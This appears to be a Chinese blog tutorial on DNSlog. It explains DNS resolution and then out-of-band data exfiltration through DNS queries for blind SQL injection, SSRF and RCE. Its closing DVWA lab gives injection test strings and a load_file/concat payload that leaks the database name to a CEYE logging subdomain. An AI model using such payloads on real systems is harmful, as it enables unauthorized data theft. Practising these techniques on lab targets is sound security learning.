DNSlog

最新推荐文章于 2024-09-18 09:08:15 发布

wxlblh

最新推荐文章于 2024-09-18 09:08:15 发布

阅读量2.9k

点赞数 2

文章标签：安全

本文链接：https://blog.csdn.net/weixin_44426869/article/details/104536108

版权

相关介绍

DNS

域名系统（Domain Name System），是互联网使用的命名系统，用来便于人们使用的机器名字转换为IP地址。

DNS解析

解析过程要点：

当某一个应用进程需要把主机名解析为IP地址时，该应用进程就调用解析程序，并成为DNS的一个客户（DNS Client），把待解析的域名放在DNS请求报文中，以UDP用户数据报方式发给本地域名服务器（使用UDP是为了减少开销）。本地域名服务器在查找域名后，把对应的IP地址放在响应报文中返回。应用进程获得目的主机的IP地址后即可进行通信。若本地域名服务器不能响应该请求，则本地域名服务器就暂时充当DNS的另一个客户，并向其他域名服务器发出查询请求。这种过程直至找到能够响应该请求的域名服务器为止，否则报错。

解析过程：

主机向本地域名服务器的查询一般都是采用递归查询。所谓的递归查询就是：若本地域名服务器无法响应主机发出的DNS解析查询（没找到），那么本地域名服务器就以DNS客户的身份向根域名服务器发出查询请求的报文（替主机继续查询），而不是让主机自己进行下一步查询。因此，递归查询返回的结果或着是索要查询的IP地址，或着是报错，报错即是查询不到某域名的IP地址。
本地域名服务器向根域名服务器的查询通常是采用迭代查询（也可以采用递归查询，取决于最初的查询请求报文的设置）。所谓的迭代查询就是：当根域名服务器收到查询请求时，要么返回查询的IP地址，要么告诉本地域名服务器：“你下一步应当向哪一个域名服务器进行查询”。然后让本地域名服务器进行后续查询。根域名服务器通常是把自己知道的顶级域名服务器的IP地址高速本地域名服务器，让本地域名服务器再向顶级域名服务器查询。本地域名服务器就是以这种方式进行迭代查询。
在这里插入图片描述
注：在DNS请求之前，先检查主机的hosts文件是否存在这个域名和IP地址的映射关系。若有直接给出这个IP地址，若没有再向域名服务器发送查询请求。

DNSlog

利用概述

前提条件：

DNS查询会在域名服务器留下日志记录；
配置自己的域名服务器，可使用免费的平台CEYE;

利用场景
针对无回显的情况：SQL盲注、SSRF、RCE…
利用原理：
将DNSlog平台给出的域名带入payload中，构造拼接payload，使其能够触发DNS查询请求，根据DNS解析的规则，查询过程中会发送请求到DNSlog平台的域名服务器，在DNSlog平台的日志记录中查看带入的payload信息的结果。
在这里插入图片描述

实验

工具

phpstudy
CEYE平台

DVWA盲注

用1' and 1=1#和1' and 1=2#验证存在SQL盲注；
用1' order by 2#和1' order by 3#验证存在2个字段；
构造payload：1' union select 1,load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\sql'))#
注：xxxxx为CEYE给定子域名；
这里submit之后需要等待响应，再到CEYE中去
其他的查询只需要修改payload中的select database()部分即可。